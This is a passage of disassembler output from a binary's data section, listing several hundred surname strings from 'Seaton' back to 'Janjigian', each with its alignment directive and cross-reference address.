'Seaton',0 ; DATA XREF: .data:0042EB78o align 10h aScudder db 'Scudder',0 ; DATA XREF: .data:0042EB74o aScovel db 'Scovel',0 ; DATA XREF: .data:0042EB70o align 10h aSchwickrath db 'Schwickrath',0 ; DATA XREF: .data:0042EB6Co aSchwan db 'Schwan',0 ; DATA XREF: .data:0042EB68o align 4 aSchuyler db 'Schuyler',0 ; DATA XREF: .data:0042EB64o align 10h aSchutte db 'Schutte',0 ; DATA XREF: .data:0042EB60o aSchuman db 'Schuman',0 ; DATA XREF: .data:0042EB5Co aSchossberger db 'Schossberger',0 ; DATA XREF: .data:0042EB58o align 10h aSchmitt db 'Schmitt',0 ; DATA XREF: .data:0042EB54o aSchilling db 'Schilling',0 ; DATA XREF: .data:0042EB50o align 4 aSchifini db 'Schifini',0 ; DATA XREF: .data:0042EB4Co align 10h aSchiano db 'Schiano',0 ; DATA XREF: .data:0042EB48o aScheiner db 'Scheiner',0 ; DATA XREF: .data:0042EB44o align 4 aScharlemann db 'Scharlemann',0 ; DATA XREF: .data:0042EB40o aScharf db 'Scharf',0 ; DATA XREF: .data:0042EB3Co align 4 aScepan db 'Scepan',0 ; DATA XREF: .data:0042EB38o align 10h aScarponi db 'Scarponi',0 ; DATA XREF: .data:0042EB34o align 4 aSayied db 'Sayied',0 ; DATA XREF: .data:0042EB30o align 4 aSawtell db 'Sawtell',0 ; DATA XREF: .data:0042EB2Co aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: .data:0042EB28o align 4 aSatta db 'Satta',0 ; DATA XREF: .data:0042EB24o align 4 aSatin db 'Satin',0 ; DATA XREF: .data:0042EB20o align 4 aSase db 'Sase',0 ; DATA XREF: .data:0042EB1Co align 4 aSartore db 'Sartore',0 ; DATA XREF: .data:0042EB18o aSarin db 'Sarin',0 ; DATA XREF: .data:0042EB14o align 4 aSapers db 'Sapers',0 ; DATA XREF: .data:0042EB10o align 4 aSanna db 'Sanna',0 ; DATA XREF: .data:0042EB0Co align 4 aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: .data:0042EB08o aSamson db 'Samson',0 ; DATA XREF: .data:0042EB04o align 4 aSali db 'Sali',0 ; DATA XREF: .data:0042EB00o align 4 aSahu db 'Sahu',0 ; DATA XREF: .data:0042EAFCo align 4 aSafire db 'Safire',0 ; DATA XREF: .data:0042EAF8o align 4 aSadler db 'Sadler',0 ; DATA XREF: .data:0042EAF4o align 4 aSabatello db 'Sabatello',0 ; DATA XREF: .data:0042EAF0o align 4 aRyu db 'Ryu',0 ; DATA XREF: .data:0042EAECo aRush db 'Rush',0 ; DATA XREF: .data:0042EAE8o align 4 aRuescher db 'Ruescher',0 ; DATA XREF: .data:0042EAE4o align 10h aRuderman db 'Ruderman',0 ; DATA XREF: .data:0042EAE0o align 4 aRuan db 'Ruan',0 ; DATA XREF: .data:0042EADCo align 4 aRu db 'Ru',0 ; DATA XREF: .data:0042EAD8o align 4 aRoyal db 'Royal',0 ; DATA XREF: .data:0042EAD4o align 10h aRow db 'Row',0 ; DATA XREF: .data:0042EAD0o aRonen db 'Ronen',0 ; DATA XREF: .data:0042EACCo align 4 aRogers db 'Rogers',0 ; DATA XREF: .data:0042EAC8o align 4 aRoesler db 'Roesler',0 ; DATA XREF: .data:0042EAC4o aRocha db 'Rocha',0 ; DATA XREF: .data:0042EAC0o align 4 aRobinson db 'Robinson',0 ; DATA XREF: .data:0042EABCo align 10h aRivera db 'Rivera',0 ; DATA XREF: .data:0042EAB8o align 4 aRish db 'Rish',0 ; DATA XREF: .data:0042EAB4o align 10h aRineer db 'Rineer',0 ; DATA XREF: .data:0042EAB0o align 4 aRindos db 'Rindos',0 ; DATA XREF: .data:0042EAACo align 10h aRielly db 'Rielly',0 ; DATA XREF: .data:0042EAA8o align 4 aRichmond db 'Richmond',0 ; DATA XREF: .data:0042EAA4o align 4 aRhea db 'Rhea',0 ; DATA XREF: .data:0042EAA0o align 4 aResnik db 'Resnik',0 ; DATA XREF: .data:0042EA9Co align 4 aRepetto db 'Repetto',0 ; DATA XREF: .data:0042EA98o aRenick db 'Renick',0 ; DATA XREF: .data:0042EA94o align 4 aRemak db 'Remak',0 ; DATA XREF: .data:0042EA90o align 4 aReinold db 'Reinold',0 ; DATA XREF: .data:0042EA8Co aCunningham db 'Cunningham',0 ; DATA XREF: .data:0042EA88o align 10h aReedquist db 'Reedquist',0 ; DATA XREF: .data:0042EA84o align 4 aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: .data:0042EA80o align 4 aRayport db 'Rayport',0 ; DATA XREF: .data:0042EA7Co aRapple db 'Rapple',0 ; DATA XREF: .data:0042EA78o align 4 aRankin db 'Rankin',0 ; DATA XREF: .data:0042EA74o align 4 aRangan db 'Rangan',0 ; DATA XREF: .data:0042EA70o align 4 aRaney db 'Raney',0 ; DATA XREF: .data:0042EA6Co align 4 aRajagopalan db 'Rajagopalan',0 ; DATA XREF: .data:0042EA68o aRadeke db 'Radeke',0 ; DATA XREF: .data:0042EA64o align 4 aRabkin db 'Rabkin',0 ; DATA XREF: .data:0042EA60o align 10h aRabe db 'Rabe',0 ; DATA XREF: .data:0042EA5Co align 4 aQuetin db 'Quetin',0 ; DATA XREF: .data:0042EA58o align 10h aQuaday db 'Quaday',0 ; DATA XREF: .data:0042EA54o align 4 aPynchon db 'Pynchon',0 ; DATA XREF: .data:0042EA50o aPugh db 'Pugh',0 ; DATA XREF: .data:0042EA4Co align 4 aPuccia db 'Puccia',0 ; DATA XREF: .data:0042EA48o align 10h aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: .data:0042EA44o align 10h aProietti db 'Proietti',0 ; DATA XREF: .data:0042EA40o align 4 aPritz db 'Pritz',0 ; DATA XREF: .data:0042EA3Co align 4 aPritchard db 'Pritchard',0 ; DATA XREF: .data:0042EA38o align 10h aPrevost db 'Prevost',0 ; DATA XREF: .data:0042EA34o aPreucel db 'Preucel',0 ; DATA XREF: .data:0042EA30o aPresper db 'Presper',0 ; DATA XREF: .data:0042EA2Co aPowers db 'Powers',0 ; DATA XREF: .data:0042EA28o align 10h aPoolman db 'Poolman',0 ; DATA XREF: .data:0042EA24o aPoma db 'Poma',0 ; DATA XREF: .data:0042EA20o align 10h aPolitis db 'Politis',0 ; DATA XREF: .data:0042EA1Co aPolanyi db 'Polanyi',0 ; DATA XREF: .data:0042EA18o aPolak db 'Polak',0 ; DATA XREF: .data:0042EA14o align 4 aPoirier db 'Poirier',0 ; DATA XREF: .data:0042EA10o aPointer db 'Pointer',0 ; DATA XREF: .data:0042EA0Co aPoincaire db 'Poincaire',0 ; DATA XREF: .data:0042EA08o align 4 aPocobene db 'Pocobene',0 ; DATA XREF: .data:0042EA04o align 10h aPo db 'Po',0 ; DATA XREF: .data:0042EA00o align 4 aPlous db 'Plous',0 ; DATA XREF: .data:0042E9FCo align 4 aPlasket db 'Plasket',0 ; DATA XREF: .data:0042E9F8o aPlant db 'Plant',0 ; DATA XREF: .data:0042E9F4o align 4 aPlancon db 'Plancon',0 ; DATA XREF: .data:0042E9F0o aPinot db 'Pinot',0 ; DATA XREF: .data:0042E9ECo align 4 aPilbeam db 'Pilbeam',0 ; DATA XREF: .data:0042E9E8o aPfister db 'Pfister',0 ; DATA XREF: .data:0042E9E4o aPettit db 'Pettit',0 ; DATA XREF: .data:0042E9E0o align 4 aPettibone db 'Pettibone',0 ; DATA XREF: .data:0042E9DCo align 10h aPetruzello db 'Petruzello',0 ; DATA XREF: .data:0042E9D8o align 4 aPeters db 'Peters',0 ; DATA XREF: .data:0042E9D4o align 4 aPerrimon db 'Perrimon',0 ; DATA XREF: .data:0042E9D0o align 10h aPerone db 'Perone',0 ; DATA XREF: .data:0042E9CCo align 4 aPerna db 'Perna',0 ; DATA XREF: .data:0042E9C8o align 10h aPerlman db 'Perlman',0 ; DATA XREF: .data:0042E9C4o aPerlak db 'Perlak',0 ; DATA XREF: .data:0042E9C0o align 10h aPerko db 'Perko',0 ; DATA XREF: .data:0042E9BCo align 4 aPereira db 'Pereira',0 ; DATA XREF: .data:0042E9B8o aPenny db 'Penny',0 ; DATA XREF: .data:0042E9B4o align 4 aPeishel db 'Peishel',0 ; DATA XREF: .data:0042E9B0o aPederson db 'Pederson',0 ; DATA XREF: .data:0042E9ACo align 4 aPearlberg db 'Pearlberg',0 ; DATA XREF: .data:0042E9A8o align 4 aPeabody db 'Peabody',0 ; DATA XREF: .data:0042E9A4o aPaynter db 'Paynter',0 ; DATA XREF: .data:0042E9A0o aPawloski db 'Pawloski',0 ; DATA XREF: .data:0042E99Co align 4 aPavlon db 'Pavlon',0 ; DATA XREF: .data:0042E998o align 4 aPavetti db 'Pavetti',0 ; DATA XREF: .data:0042E994o aPattullo db 'Pattullo',0 ; DATA XREF: .data:0042E990o align 10h aPatrick db 'Patrick',0 ; DATA XREF: .data:0042E98Co aPatefield db 'Patefield',0 ; DATA XREF: .data:0042E988o align 4 aPascucci db 'Pascucci',0 ; DATA XREF: .data:0042E984o align 10h aPartridge db 'Partridge',0 ; DATA XREF: .data:0042E980o align 4 aParris db 'Parris',0 ; DATA XREF: .data:0042E97Co align 4 aParmeggiani db 'Parmeggiani',0 ; DATA XREF: .data:0042E978o aPaoletti db 'Paoletti',0 ; DATA XREF: .data:0042E974o align 4 aPantilla db 'Pantilla',0 ; DATA XREF: .data:0042E970o align 4 aPanizzon db 'Panizzon',0 ; DATA XREF: .data:0042E96Co align 4 aPanadero db 'Panadero',0 ; DATA XREF: .data:0042E968o align 10h aPalmitesta db 'Palmitesta',0 ; DATA XREF: .data:0042E964o align 4 aPallara db 'Pallara',0 ; DATA XREF: .data:0042E960o aPalepu db 'Palepu',0 ; DATA XREF: .data:0042E95Co align 4 aPalayoor db 'Palayoor',0 ; DATA XREF: .data:0042E958o align 4 aPaine db 'Paine',0 ; DATA XREF: .data:0042E954o align 10h aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: .data:0042E950o align 10h aOvid db 'Ovid',0 ; DATA XREF: .data:0042E94Co align 4 aOuchida db 'Ouchida',0 ; DATA XREF: .data:0042E948o aOtten db 'Otten',0 ; DATA XREF: .data:0042E944o align 4 aOttaviani db 'Ottaviani',0 ; DATA XREF: .data:0042E940o align 4 aOstrowski db 'Ostrowski',0 ; DATA XREF: .data:0042E93Co align 10h aOspina db 'Ospina',0 ; DATA XREF: .data:0042E938o align 4 aOrsi db 'Orsi',0 ; DATA XREF: .data:0042E934o align 10h aOrfield db 'Orfield',0 ; DATA XREF: .data:0042E930o aOray db 'Oray',0 ; DATA XREF: .data:0042E92Co align 10h aOpel db 'Opel',0 ; DATA XREF: .data:0042E928o align 4 aOMeara db 'O',27h,'meara',0 ; DATA XREF: .data:0042E924o aOman db 'Oman',0 ; DATA XREF: .data:0042E920o align 4 aOMalley db 'O',27h,'malley',0 ; DATA XREF: .data:0042E91Co align 4 aOlszewski db 'Olszewski',0 ; DATA XREF: .data:0042E918o align 10h aOlson db 'Olson',0 ; DATA XREF: .data:0042E914o align 4 aOlsen db 'Olsen',0 ; DATA XREF: .data:0042E910o align 10h aOldford db 'Oldford',0 ; DATA XREF: .data:0042E90Co aOHagan db 'O',27h,'hagan',0 ; DATA XREF: .data:0042E908o aOh db 'Oh',0 ; DATA XREF: .data:0042E904o align 4 aOgata db 'Ogata',0 ; DATA XREF: .data:0042E900o align 4 aOcougne db 'Ocougne',0 ; DATA XREF: .data:0042E8FCo aNuzum db 'Nuzum',0 ; DATA XREF: .data:0042E8F8o align 4 aNotman db 'Notman',0 ; DATA XREF: .data:0042E8F4o align 4 aNitabach db 'Nitabach',0 ; DATA XREF: .data:0042E8F0o align 10h aNisenson db 'Nisenson',0 ; DATA XREF: .data:0042E8ECo align 4 aNickoloff db 'Nickoloff',0 ; DATA XREF: .data:0042E8E8o align 4 aNickerson db 'Nickerson',0 ; DATA XREF: .data:0042E8E4o align 4 aNi_0 db 'Ni',0 ; DATA XREF: .data:0042E8E0o align 4 aNg db 'Ng',0 ; DATA XREF: .data:0042E8DCo align 4 aNewlin db 'Newlin',0 ; DATA XREF: .data:0042E8D8o align 4 aNewfeld db 'Newfeld',0 ; DATA XREF: .data:0042E8D4o aNeuman db 'Neuman',0 ; DATA XREF: .data:0042E8D0o align 4 aNesci db 'Nesci',0 ; DATA XREF: .data:0042E8CCo align 4 aNenna db 'Nenna',0 ; DATA XREF: .data:0042E8C8o align 4 aNelson db 'Nelson',0 ; DATA XREF: .data:0042E8C4o align 4 aNayduch db 'Nayduch',0 ; DATA XREF: .data:0042E8C0o aNaviaux db 'Naviaux',0 ; DATA XREF: .data:0042E8BCo aNardone db 'Nardone',0 ; DATA XREF: .data:0042E8B8o aNardi db 'Nardi',0 ; DATA XREF: .data:0042E8B4o align 4 aNapolitano db 'Napolitano',0 ; DATA XREF: .data:0042E8B0o align 4 aNaddeo db 'Naddeo',0 ; DATA XREF: .data:0042E8ACo align 10h aMussachio db 'Mussachio',0 ; DATA XREF: .data:0042E8A8o align 4 aMumford db 'Mumford',0 ; DATA XREF: .data:0042E8A4o aMulroy db 'Mulroy',0 ; DATA XREF: .data:0042E8A0o align 4 aMulkern db 'Mulkern',0 ; DATA XREF: .data:0042E89Co aMugnai db 'Mugnai',0 ; DATA XREF: .data:0042E898o align 4 aMuello db 'Muello',0 ; DATA XREF: .data:0042E894o align 4 aMudarri db 'Mudarri',0 ; DATA XREF: .data:0042E890o aMotooka db 'Motooka',0 ; DATA XREF: .data:0042E88Co aMostafavi db 'Mostafavi',0 ; DATA XREF: .data:0042E888o align 10h aMosler db 'Mosler',0 ; DATA XREF: .data:0042E884o align 4 aMosher db 'Mosher',0 ; DATA XREF: .data:0042E880o align 10h aMortimer db 'Mortimer',0 ; DATA XREF: .data:0042E87Co align 4 aMorrow db 'Morrow',0 ; DATA XREF: .data:0042E878o align 4 aMorrison db 'Morrison',0 ; DATA XREF: .data:0042E874o align 10h aMoreton db 'Moreton',0 ; DATA XREF: .data:0042E870o aMorani db 'Morani',0 ; DATA XREF: .data:0042E86Co align 10h aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: .data:0042E868o align 4 aMontilio db 'Montilio',0 ; DATA XREF: .data:0042E864o align 4 aMonque db 'Monque',0 ; DATA XREF: .data:0042E860o align 10h aMoiamedi db 'Moiamedi',0 ; DATA XREF: .data:0042E85Co align 4 aMohr db 'Mohr',0 ; DATA XREF: .data:0042E858o align 4 aMoeller db 'Moeller',0 ; DATA XREF: .data:0042E854o aModestino db 'Modestino',0 ; DATA XREF: .data:0042E850o align 4 aMocroft db 'Mocroft',0 ; DATA XREF: .data:0042E84Co aMittal db 'Mittal',0 ; DATA XREF: .data:0042E848o align 4 aMitropoulos db 'Mitropoulos',0 ; DATA XREF: .data:0042E844o aGonzalez db 'Gonzalez',0 ; DATA XREF: .data:0042E840o align 10h aMinichiello db 'Minichiello',0 ; DATA XREF: .data:0042E83Co aMini db 'Mini',0 ; DATA XREF: .data:0042E838o align 4 aMinh db 'Minh',0 ; DATA XREF: .data:0042E834o align 4 aMills db 'Mills',0 ; DATA XREF: .data:0042E830o align 4 aMieher db 'Mieher',0 ; DATA XREF: .data:0042E82Co align 4 aMiddle db 'Middle',0 ; DATA XREF: .data:0042E828o align 4 aMichelman db 'Michelman',0 ; DATA XREF: .data:0042E824o align 10h aMeurer db 'Meurer',0 ; DATA XREF: .data:0042E820o align 4 aMetropolis db 'Metropolis',0 ; DATA XREF: .data:0042E81Co align 4 aMetelka db 'Metelka',0 ; DATA XREF: .data:0042E818o aMerz db 'Merz',0 ; DATA XREF: .data:0042E814o align 4 aMerseth db 'Merseth',0 ; DATA XREF: .data:0042E810o aMerminod db 'Merminod',0 ; DATA XREF: .data:0042E80Co align 4 aMerlani db 'Merlani',0 ; DATA XREF: .data:0042E808o aMerikoski db 'Merikoski',0 ; DATA XREF: .data:0042E804o align 4 aMenzies db 'Menzies',0 ; DATA XREF: .data:0042E800o aMemisoglu db 'Memisoglu',0 ; DATA XREF: .data:0042E7FCo align 10h aMeccariello db 'Meccariello',0 ; DATA XREF: .data:0042E7F8o aMcnulty db 'Mcnulty',0 ; DATA XREF: .data:0042E7F4o aMcnealy db 'Mcnealy',0 ; DATA XREF: .data:0042E7F0o aMclaren db 'Mclaren',0 ; DATA XREF: .data:0042E7ECo aMclane db 'Mclane',0 ; DATA XREF: .data:0042E7E8o align 4 aMckenna db 'Mckenna',0 ; DATA XREF: .data:0042E7E4o aMcintosh db 'Mcintosh',0 ; DATA XREF: .data:0042E7E0o align 10h aMcilroy db 'McIlroy',0 ; DATA XREF: .data:0042E7DCo aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: .data:0042E7D8o align 4 aMcghee db 'Mcghee',0 ; DATA XREF: .data:0042E7D4o align 4 aMcfadden db 'McFadden',0 ; DATA XREF: .data:0042E7D0o align 4 aMcelroy db 'Mcelroy',0 ; DATA XREF: .data:0042E7CCo aMcdowell db 'Mcdowell',0 ; DATA XREF: .data:0042E7C8o align 4 aMcclearn db 'Mcclearn',0 ; DATA XREF: .data:0042E7C4o align 4 aMccall db 'Mccall',0 ; DATA XREF: .data:0042E7C0o align 10h aMccaffery db 'Mccaffery',0 ; DATA XREF: .data:0042E7BCo align 4 aMcbride db 'Mcbride',0 ; DATA XREF: .data:0042E7B8o aMazziotta db 'Mazziotta',0 ; DATA XREF: .data:0042E7B4o align 10h aMazzali db 'Mazzali',0 ; DATA XREF: .data:0042E7B0o aMay db 'May',0 ; DATA XREF: .data:0042E7ACo aMauzy db 'Mauzy',0 ; DATA XREF: .data:0042E7A8o align 4 aMattson db 'Mattson',0 ; DATA XREF: .data:0042E7A4o aMatsukata db 'Matsukata',0 ; DATA XREF: .data:0042E7A0o align 4 aMatarazzo db 'Matarazzo',0 ; DATA XREF: .data:0042E79Co align 4 aMatalka db 'Matalka',0 ; DATA XREF: .data:0042E798o aMass db 'Mass',0 ; DATA XREF: .data:0042E794o align 4 aMarubini db 'Marubini',0 ; DATA XREF: .data:0042E790o align 10h aMarton db 'Marton',0 ; DATA XREF: .data:0042E78Co align 4 aMartochio db 'Martochio',0 ; DATA XREF: .data:0042E788o align 4 aMartinez db 'Martinez',0 ; DATA XREF: .data:0042E784o align 10h aMarques db 'Marques',0 ; DATA XREF: .data:0042E780o aMargetts db 'Margetts',0 ; DATA XREF: .data:0042E77Co align 4 aMargalit db 'Margalit',0 ; DATA XREF: .data:0042E778o align 10h aMarcus db 'Marcus',0 ; DATA XREF: .data:0042E774o align 4 aMarchbanks db 'Marchbanks',0 ; DATA XREF: .data:0042E770o align 4 aMarch db 'March',0 ; DATA XREF: .data:0042E76Co align 4 aMantovan db 'Mantovan',0 ; DATA XREF: .data:0042E768o align 4 aManganiello db 'Manganiello',0 ; DATA XREF: .data:0042E764o aMandel db 'Mandel',0 ; DATA XREF: .data:0042E760o align 4 aManalis db 'Manalis',0 ; DATA XREF: .data:0042E75Co aMalova db 'Malova',0 ; DATA XREF: .data:0042E758o align 4 aMaller db 'Maller',0 ; DATA XREF: .data:0042E754o align 4 aMalatesta db 'Malatesta',0 ; DATA XREF: .data:0042E750o align 10h aMaisano db 'Maisano',0 ; DATA XREF: .data:0042E74Co aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: .data:0042E748o align 4 aMaier db 'Maier',0 ; DATA XREF: .data:0042E744o align 10h aMahony db 'Mahony',0 ; DATA XREF: .data:0042E740o align 4 aMaggio db 'Maggio',0 ; DATA XREF: .data:0042E73Co align 10h aMadigan db 'Madigan',0 ; DATA XREF: .data:0042E738o aMacy db 'Macy',0 ; DATA XREF: .data:0042E734o align 10h aMacmillan db 'MacMillan',0 ; DATA XREF: .data:0042E730o align 4 aMackenney db 'Mackenney',0 ; DATA XREF: .data:0042E72Co align 4 aMacintyre db 'Macintyre',0 ; DATA XREF: .data:0042E728o align 4 aMaceachern db 'Maceachern',0 ; DATA XREF: .data:0042E724o align 10h aMacdonald db 'Macdonald',0 ; DATA XREF: .data:0042E720o align 4 aMaccormac db 'Maccormac',0 ; DATA XREF: .data:0042E71Co align 4 aMa db 'Ma',0 ; DATA XREF: .data:0042E718o align 4 aLuzader db 'Luzader',0 ; DATA XREF: .data:0042E714o aLutcavage db 'Lutcavage',0 ; DATA XREF: .data:0042E710o align 10h aLussier db 'Lussier',0 ; DATA XREF: .data:0042E70Co aLuoma db 'Luoma',0 ; DATA XREF: .data:0042E708o align 10h aLunetta db 'Lunetta',0 ; DATA XREF: .data:0042E704o aLuecke db 'Luecke',0 ; DATA XREF: .data:0042E700o align 10h aLuczkow db 'Luczkow',0 ; DATA XREF: .data:0042E6FCo aLuciano db 'Luciano',0 ; DATA XREF: .data:0042E6F8o aLucas db 'Lucas',0 ; DATA XREF: .data:0042E6F4o align 4 aLubin db 'Lubin',0 ; DATA XREF: .data:0042E6F0o align 10h aLoza db 'Loza',0 ; DATA XREF: .data:0042E6ECo align 4 aLowenstein db 'Lowenstein',0 ; DATA XREF: .data:0042E6E8o align 4 aLoveman db 'Loveman',0 ; DATA XREF: .data:0042E6E4o aLoss db 'Loss',0 ; DATA XREF: .data:0042E6E0o align 4 aLongworth db 'Longworth',0 ; DATA XREF: .data:0042E6DCo align 10h aLocatelli db 'Locatelli',0 ; DATA XREF: .data:0042E6D8o align 4 aLizardo db 'Lizardo',0 ; DATA XREF: .data:0042E6D4o aLivolsi db 'Livolsi',0 ; DATA XREF: .data:0042E6D0o aLivi db 'Livi',0 ; DATA XREF: .data:0042E6CCo align 4 aLivernash db 'Livernash',0 ; DATA XREF: .data:0042E6C8o align 10h aLitvak db 'Litvak',0 ; DATA XREF: .data:0042E6C4o align 4 aLittle db 'Little',0 ; DATA XREF: .data:0042E6C0o align 10h aLipponen db 'Lipponen',0 ; DATA XREF: .data:0042E6BCo align 4 aLippmann db 'Lippmann',0 ; DATA XREF: .data:0042E6B8o align 4 aLinzee db 'Linzee',0 ; DATA XREF: .data:0042E6B4o align 10h aLinehan db 'Linehan',0 ; DATA XREF: .data:0042E6B0o aLine db 'Line',0 ; DATA XREF: .data:0042E6ACo align 10h aLinder db 'Linder',0 ; DATA XREF: .data:0042E6A8o align 4 aLinda db 'Linda',0 ; DATA XREF: .data:0042E6A4o align 10h aLinares db 'Linares',0 ; DATA XREF: .data:0042E6A0o aLim db 'Lim',0 ; DATA XREF: .data:0042E69Co aLightfoot db 'Lightfoot',0 ; DATA XREF: .data:0042E698o align 4 aLight db 'Light',0 ; DATA XREF: .data:0042E694o align 10h aLiem db 'Liem',0 ; DATA XREF: .data:0042E690o align 4 aLidano db 'Lidano',0 ; DATA XREF: .data:0042E68Co align 10h aLiakos db 'Liakos',0 ; DATA XREF: .data:0042E688o align 4 aLessi db 'Lessi',0 ; DATA XREF: .data:0042E684o align 10h aLesser db 'Lesser',0 ; DATA XREF: .data:0042E680o align 4 aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: .data:0042E67Co align 4 aLenard db 'Lenard',0 ; DATA XREF: .data:0042E678o align 4 aLeite db 'Leite',0 ; DATA XREF: .data:0042E674o align 4 aLeclercq db 'Leclercq',0 ; DATA XREF: .data:0042E670o align 10h aLecce db 'Lecce',0 ; DATA XREF: .data:0042E66Co align 4 aLecar db 'Lecar',0 ; DATA XREF: .data:0042E668o align 10h aLawless db 'Lawless',0 ; DATA XREF: .data:0042E664o aLashley db 'Lashley',0 ; DATA XREF: .data:0042E660o aLaserna db 'Laserna',0 ; DATA XREF: .data:0042E65Co aLanzit db 'Lanzit',0 ; DATA XREF: .data:0042E658o align 10h aLantieri db 'Lantieri',0 ; DATA XREF: .data:0042E654o align 4 aLankes db 'Lankes',0 ; DATA XREF: .data:0042E650o align 4 aLandes db 'Landes',0 ; DATA XREF: .data:0042E64Co align 4 aLallemant db 'Lallemant',0 ; DATA XREF: .data:0042E648o align 4 aLaing db 'Laing',0 ; DATA XREF: .data:0042E644o align 10h aLafler db 'Lafler',0 ; DATA XREF: .data:0042E640o align 4 aLabunka db 'Labunka',0 ; DATA XREF: .data:0042E63Co aLa db 'La',0 ; DATA XREF: .data:0042E638o align 4 aKuwabara db 'Kuwabara',0 ; DATA XREF: .data:0042E634o align 10h aKusman db 'Kusman',0 ; DATA XREF: .data:0042E630o align 4 aKumar db 'Kumar',0 ; DATA XREF: .data:0042E62Co align 10h aKuenzli db 'Kuenzli',0 ; DATA XREF: .data:0042E628o aKrysiak db 'Krysiak',0 ; DATA XREF: .data:0042E624o aKroemer db 'Kroemer',0 ; DATA XREF: .data:0042E620o aKraus db 'Kraus',0 ; DATA XREF: .data:0042E61Co align 10h aKrasney db 'Krasney',0 ; DATA XREF: .data:0042E618o aKrailo db 'Krailo',0 ; DATA XREF: .data:0042E614o align 10h aKraemer db 'Kraemer',0 ; DATA XREF: .data:0042E610o aKovaks db 'Kovaks',0 ; DATA XREF: .data:0042E60Co align 10h aKotter db 'Kotter',0 ; DATA XREF: .data:0042E608o align 4 aKorzybski db 'Korzybski',0 ; DATA XREF: .data:0042E604o align 4 aKool db 'Kool',0 ; DATA XREF: .data:0042E600o align 4 aKonrad db 'Konrad',0 ; DATA XREF: .data:0042E5FCo align 4 aKoniaris db 'Koniaris',0 ; DATA XREF: .data:0042E5F8o align 10h aKommer db 'Kommer',0 ; DATA XREF: .data:0042E5F4o align 4 aKoivumaki db 'Koivumaki',0 ; DATA XREF: .data:0042E5F0o align 4 aKohn db 'Kohn',0 ; DATA XREF: .data:0042E5ECo align 4 aKoch db 'Koch',0 ; DATA XREF: .data:0042E5E8o align 4 aKobrick db 'Kobrick',0 ; DATA XREF: .data:0042E5E4o aKnuff db 'Knuff',0 ; DATA XREF: .data:0042E5E0o align 4 aKlint db 'Klint',0 ; DATA XREF: .data:0042E5DCo align 4 aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: .data:0042E5D8o aKling db 'Kling',0 ; DATA XREF: .data:0042E5D4o align 10h aKlemperer db 'Klemperer',0 ; DATA XREF: .data:0042E5D0o align 4 aKleinfelder db 'Kleinfelder',0 ; DATA XREF: .data:0042E5CCo aKleiman db 'Kleiman',0 ; DATA XREF: .data:0042E5C8o aKleckner db 'Kleckner',0 ; DATA XREF: .data:0042E5C4o align 4 aKittridge db 'Kittridge',0 ; DATA XREF: .data:0042E5C0o align 4 aKirscht db 'Kirscht',0 ; DATA XREF: .data:0042E5BCo aKippenberger db 'Kippenberger',0 ; DATA XREF: .data:0042E5B8o align 10h aKinsley db 'Kinsley',0 ; DATA XREF: .data:0042E5B4o aKindall db 'Kindall',0 ; DATA XREF: .data:0042E5B0o aKimura db 'Kimura',0 ; DATA XREF: .data:0042E5ACo align 4 aKimmett db 'Kimmett',0 ; DATA XREF: .data:0042E5A8o aKimmel db 'Kimmel',0 ; DATA XREF: .data:0042E5A4o align 4 aKhong db 'Khong',0 ; DATA XREF: .data:0042E5A0o align 10h aKeul db 'Keul',0 ; DATA XREF: .data:0042E59Co align 4 aKerry db 'Kerry',0 ; DATA XREF: .data:0042E598o align 10h aKendall db 'Kendall',0 ; DATA XREF: .data:0042E594o aKemsley db 'Kemsley',0 ; DATA XREF: .data:0042E590o aKempton db 'Kempton',0 ; DATA XREF: .data:0042E58Co aKelsey db 'Kelsey',0 ; DATA XREF: .data:0042E588o align 10h aKelker db 'Kelker',0 ; DATA XREF: .data:0042E584o align 4 aKeith db 'Keith',0 ; DATA XREF: .data:0042E580o align 10h aKeepper db 'Keepper',0 ; DATA XREF: .data:0042E57Co aKeenan db 'Keenan',0 ; DATA XREF: .data:0042E578o align 10h aKee db 'Kee',0 ; DATA XREF: .data:0042E574o aKawachi db 'Kawachi',0 ; DATA XREF: .data:0042E570o aKasten db 'Kasten',0 ; DATA XREF: .data:0042E56Co align 4 aKassower db 'Kassower',0 ; DATA XREF: .data:0042E568o align 10h aKarpouzes db 'Karpouzes',0 ; DATA XREF: .data:0042E564o align 4 aKangis db 'Kangis',0 ; DATA XREF: .data:0042E560o align 4 aKamel db 'Kamel',0 ; DATA XREF: .data:0042E55Co align 4 aKalman db 'Kalman',0 ; DATA XREF: .data:0042E558o align 4 aKalinowski db 'Kalinowski',0 ; DATA XREF: .data:0042E554o align 10h aKalil db 'Kalil',0 ; DATA XREF: .data:0042E550o align 4 aKaligian db 'Kaligian',0 ; DATA XREF: .data:0042E54Co align 4 aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: .data:0042E548o aKafadar db 'Kafadar',0 ; DATA XREF: .data:0042E544o aKaboolian db 'Kaboolian',0 ; DATA XREF: .data:0042E540o align 4 aKabbash db 'Kabbash',0 ; DATA XREF: .data:0042E53Co aJulious db 'Julious',0 ; DATA XREF: .data:0042E538o aJuliano db 'Juliano',0 ; DATA XREF: .data:0042E534o aJucks db 'Jucks',0 ; DATA XREF: .data:0042E530o align 4 aJorgensen db 'Jorgensen',0 ; DATA XREF: .data:0042E52Co align 10h aJolly db 'Jolly',0 ; DATA XREF: .data:0042E528o align 4 aJohns db 'Johns',0 ; DATA XREF: .data:0042E524o align 10h aJohannsen db 'Johannsen',0 ; DATA XREF: .data:0042E520o align 4 aJohannesson db 'Johannesson',0 ; DATA XREF: .data:0042E51Co aJewett db 'Jewett',0 ; DATA XREF: .data:0042E518o align 10h aJespersen db 'Jespersen',0 ; DATA XREF: .data:0042E514o align 4 aJenkins db 'Jenkins',0 ; DATA XREF: .data:0042E510o aJellis db 'Jellis',0 ; DATA XREF: .data:0042E50Co align 4 aJeffers db 'Jeffers',0 ; DATA XREF: .data:0042E508o aJay db 'Jay',0 ; DATA XREF: .data:0042E504o aJarrell db 'Jarrell',0 ; DATA XREF: .data:0042E500o aJarnagin db 'Jarnagin',0 ; DATA XREF: .data:0042E4FCo align 4 aJanjigian db 'Janjigian',0 ; DATA 